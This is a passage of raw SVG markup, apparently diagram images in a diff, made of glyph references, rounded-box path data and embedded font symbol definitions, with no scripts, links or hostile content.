x="279.727" y="179.836"/><use xlink:href="#B" x="281.895" y="179.836"/><use xlink:href="#G" x="285.703" y="179.836"/><use xlink:href="#H" x="291.953" y="179.836"/><use xlink:href="#I" x="295.156" y="179.836"/><use xlink:href="#H" x="304.629" y="179.836"/><use xlink:href="#B" x="306.66" y="179.836"/><use xlink:href="#J" x="310.469" y="179.836"/><use xlink:href="#K" x="318.281" y="179.836"/><use xlink:href="#L" x="325.742" y="179.836"/><use xlink:href="#F" x="333.164" y="179.836"/><use xlink:href="#B" x="335.332" y="179.836"/><use xlink:href="#M" x="339.141" y="179.836"/><use xlink:href="#K" x="345.254" y="179.836"/><use xlink:href="#N" x="353.027" y="179.836"/><use xlink:href="#O" x="364.746" y="179.836"/><use xlink:href="#C" x="372.578" y="179.836"/><use xlink:href="#P" x="379.785" y="179.836"/><use xlink:href="#Q" x="387.695" y="179.836"/><use xlink:href="#B" x="393.984" y="179.836"/><use xlink:href="#P" x="397.793" y="179.836"/><use xlink:href="#C" x="405.703" y="179.836"/><use xlink:href="#N" x="412.91" y="179.836"/><use xlink:href="#A" x="424.629" y="179.836"/></g><path d="M 48.115289 24.841552 L 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.652789 24.83745 C 44.652789 24.71245 44.777984 24.587645 44.902984 24.587645 C 45.027984 24.587841 45.152789 24.713036 45.152789 24.838036 C 45.152594 24.963036 45.027398 25.087841 44.902398 25.087645 C 44.777398 25.087645 44.652594 24.96245 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="227.691"/><use xlink:href="#o" x="93.102" y="227.691"/><use xlink:href="#o" x="102.008" y="227.691"/><use xlink:href="#p" x="110.914" y="227.691"/><use xlink:href="#q" x="116.773" y="227.691"/><use xlink:href="#r" x="125.328" y="227.691"/><use xlink:href="#s" x="132.32" y="227.691"/><use xlink:href="#t" x="136.422" y="227.691"/><use xlink:href="#u" x="141.285" y="227.691"/><use xlink:href="#v" x="145.777" y="227.691"/><use xlink:href="#q" x="154.762" y="227.691"/><use xlink:href="#s" x="163.316" y="227.691"/><use xlink:href="#R" x="167.418" y="227.691"/><path d="M 197.308594 200.167969 L 605.308594 200.167969 L 605.308594 240.167969 L 197.308594 240.167969 Z M 197.308594 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 206.167969 L 197.308594 200.167969 C 193.996094 200.167969 191.308594 202.855469 191.308594 206.167969 Z M 197.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 206.167969 L 611.308594 206.167969 C 611.308594 202.855469 608.625 200.167969 605.308594 200.167969 Z M 605.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 206.167969 L 611.308594 206.167969 L 611.308594 234.167969 L 191.308594 234.167969 Z M 191.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 234.167969 L 191.308594 234.167969 C 191.308594 237.480469 193.996094 240.167969 197.308594 240.167969 Z M 197.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 234.167969 L 605.308594 240.167969 C 608.625 240.167969 611.308594 237.480469 611.308594 234.167969 Z M 605.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 24.239598 L 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 26.239598 L 54.40943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 24.239598 L 34.00943 24.239598 C 33.843805 24.239598 33.70943 24.373973 33.70943 24.539598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 24.539598 C 54.70943 24.373973 54.57525 24.239598 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 24.539598 L 33.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 25.939598 L 33.70943 25.939598 C 33.70943 26.105223 33.843805 26.239598 34.00943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 26.239598 L 54.40943 26.239598 C 54.57525 26.239598 54.70943 26.105223 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.808594 242.433594 L 415.707031 242.433594 L 415.707031 265.832031 L 190.808594 265.832031 Z M 190.808594 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#S" x="190.809" y="260.836"/><use xlink:href="#O" x="199.324" y="260.836"/><use xlink:href="#C" x="207.156" y="260.836"/><use xlink:href="#z" x="214.363" y="260.836"/><use xlink:href="#y" x="219.734" y="260.836"/><use xlink:href="#N" x="224.676" y="260.836"/><use xlink:href="#A" x="236.395" y="260.836"/><use xlink:href="#P" x="243.836" y="260.836"/><use xlink:href="#y" x="251.746" y="260.836"/><use xlink:href="#F" x="256.688" y="260.836"/><use xlink:href="#B" x="258.855" y="260.836"/><use xlink:href="#E" x="262.664" y="260.836"/><use xlink:href="#T" x="268.738" y="260.836"/><use xlink:href="#U" x="276.551" y="260.836"/><use xlink:href="#y" x="280.457" y="260.836"/><use xlink:href="#A" x="285.281" y="260.836"/><use xlink:href="#F" x="292.723" y="260.836"/><use xlink:href="#B" x="294.891" y="260.836"/><use xlink:href="#T" x="298.699" y="260.836"/><use xlink:href="#P" x="306.512" y="260.836"/><use xlink:href="#U" x="314.422" y="260.836"/><use xlink:href="#y" x="318.328" y="260.836"/><use xlink:href="#F" x="323.27" y="260.836"/><use xlink:href="#B" x="325.438" y="260.836"/><use xlink:href="#J" x="329.246" y="260.836"/><use xlink:href="#T" x="337.059" y="260.836"/><use xlink:href="#U" x="344.871" y="260.836"/><use xlink:href="#V" x="348.777" y="260.836"/><use xlink:href="#D" x="352.977" y="260.836"/><use xlink:href="#U" x="360.77" y="260.836"/><use xlink:href="#P" x="364.676" y="260.836"/><use xlink:href="#W" x="372.586" y="260.836"/><use xlink:href="#F" x="380.359" y="260.836"/><use xlink:href="#B" x="382.527" y="260.836"/><use xlink:href="#X" x="386.336" y="260.836"/><use xlink:href="#K" x="394.773" y="260.836"/><use xlink:href="#K" x="402.547" y="260.836"/><use xlink:href="#z" x="410.32" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#Y" x="149.238" y="311.191"/><use xlink:href="#u" x="158.379" y="311.191"/><use xlink:href="#Z" x="162.871" y="311.191"/><use xlink:href="#aa" x="168.301" y="311.191"/><path d="M 197.308594 283.667969 L 385.308594 283.667969 L 385.308594 323.667969 L 197.308594 323.667969 Z M 197.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 289.667969 L 197.308594 283.667969 C 193.996094 283.667969 191.308594 286.355469 191.308594 289.667969 Z M 197.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 289.667969 L 391.308594 289.667969 C 391.308594 286.355469 388.625 283.667969 385.308594 283.667969 Z M 385.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 289.667969 L 391.308594 289.667969 L 391.308594 317.667969 L 191.308594 317.667969 Z M 191.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 317.667969 L 191.308594 317.667969 C 191.308594 320.980469 193.996094 323.667969 197.308594 323.667969 Z M 197.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 317.667969 L 385.308594 323.667969 C 388.625 323.667969 391.308594 320.980469 391.308594 317.667969 Z M 385.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 28.414598 L 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 30.414598 L 43.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 28.414598 L 34.00943 28.414598 C 33.843805 28.414598 33.70943 28.548973 33.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 28.714598 C 43.70943 28.548973 43.57525 28.414598 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 28.714598 L 33.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 30.114598 L 33.70943 30.114598 C 33.70943 30.280223 33.843805 30.414598 34.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.40943 30.414598 L 43.40943 30.414598 C 43.57525 30.414598 43.70943 30.280223 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#ab" x="114.883" y="382.422"/><use xlink:href="#ac" x="123.789" y="382.422"/><use xlink:href="#ad" x="128.555" y="382.422"/><use xlink:href="#s" x="137.461" y="382.422"/><use xlink:href="#Y" x="141.348" y="382.422"/><use xlink:href="#ae" x="149.941" y="382.422"/><use xlink:href="#o" x="158.848" y="382.422"/><use xlink:href="#q" x="167.754" y="382.422"/></g><path d="M 197.308594 354.894531 L 305.308594 354.894531 L 305.308594 394.894531 L 197.308594 394.894531 Z M 197.308594 354.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 360.894531 L 197.308594 354.894531 C 193.996094 354.894531 191.308594 357.582031 191.308594 360.894531 Z M 197.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 360.894531 L 311.308594 360.894531 C 311.308594 357.582031 308.625 354.894531 305.308594 354.894531 Z M 305.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 360.894531 L 311.308594 360.894531 L 311.308594 388.894531 L 191.308594 388.894531 Z M 191.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 388.894531 L 191.308594 388.894531 C 191.308594 392.210938 193.996094 394.894531 197.308594 394.894531 Z M 197.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 388.894531 L 305.308594 394.894531 C 308.625 394.894531 311.308594 392.210938 311.308594 388.894531 Z M 305.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 31.975927 L 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 33.975927 L 39.40943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 31.975927 L 34.00943 31.975927 C 33.843805 31.975927 33.70943 32.110302 33.70943 32.275927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 32.275927 C 39.70943 32.110302 39.57525 31.975927 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 32.275927 L 33.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 33.675927 L 33.70943 33.675927 C 33.70943 33.841747 33.843805 33.975927 34.00943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.40943 33.975927 L 39.40943 33.975927 C 39.57525 33.975927 39.70943 33.841747 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.308594 283.667969 L 605.308594 283.667969 L 605.308594 323.667969 L 477.308594 323.667969 Z M 477.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 289.667969 L 477.308594 283.667969 C 473.996094 283.667969 471.308594 286.355469 471.308594 289.667969 Z M 477.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 289.667969 L 611.308594 289.667969 C 611.308594 286.355469 608.625 283.667969 605.308594 283.667969 Z M 605.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.308594 289.667969 L 611.308594 289.667969 L 611.308594 317.667969 L 471.308594 317.667969 Z M 471.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 317.667969 L 471.308594 317.667969 C 471.308594 320.980469 473.996094 323.667969 477.308594 323.667969 Z M 477.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 317.667969 L 605.308594 323.667969 C 608.625 323.667969 611.308594 320.980469 611.308594 317.667969 Z M 605.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.00943 28.414598 L 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 30.414598 L 54.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 28.414598 L 48.00943 28.414598 C 47.843805 28.414598 47.70943 28.548973 47.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 28.714598 C 54.70943 28.548973 54.57525 28.414598 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 28.714598 L 47.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 30.114598 L 47.70943 30.114598 C 47.70943 30.280223 47.843805 30.414598 48.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 30.414598 L 54.40943 30.414598 C 54.57525 30.414598 54.70943 30.280223 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#af" x="423.063" y="311.191"/><use xlink:href="#Z" x="431.852" y="311.191"/><use xlink:href="#ag" x="437.672" y="311.191"/><use xlink:href="#Z" x="445.934" y="311.191"/><use xlink:href="#q" x="451.754" y="311.191"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 453"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M1.281-13.86a6.254 6.254 0 0 1 1.36-.234c.476-.039.953-.062 1.421-.062.532 0 1.055.062 1.579.187.52.117.988.336 1.406.656.426.313.766.75 1.016 1.313.257.563.39 1.277.39 2.14 0 .844-.125 1.56-.375 2.141-.242.586-.562 1.063-.969 1.438a3.698 3.698 0 0 1-1.406.797 5.272 5.272 0 0 1-1.625.25h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0h-1.5zm2.86 1.079c-.274 0-.532.011-.782.031a3.635 3.635 0 0 0-.578.094v5.953a.56.56 0 0 0 .25.062c.114 0 .227.008.344.016h.61a4.08 4.08 0 0 0 1.078-.14c.343-.094.644-.258.906-.5.27-.25.488-.583.656-1 .164-.426.25-.958.25-1.594 0-.563-.078-1.024-.234-1.391a2.41 2.41 0 0 0-.594-.906 2.06 2.06 0 0 0-.86-.485 3.87 3.87 0 0 0-1.046-.14zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="f"><path style="stroke:none" d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M8.656-12.625H5.22V0h-1.5v-12.625H.28V-14h8.375zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="m3.656-3.547.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="o"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" 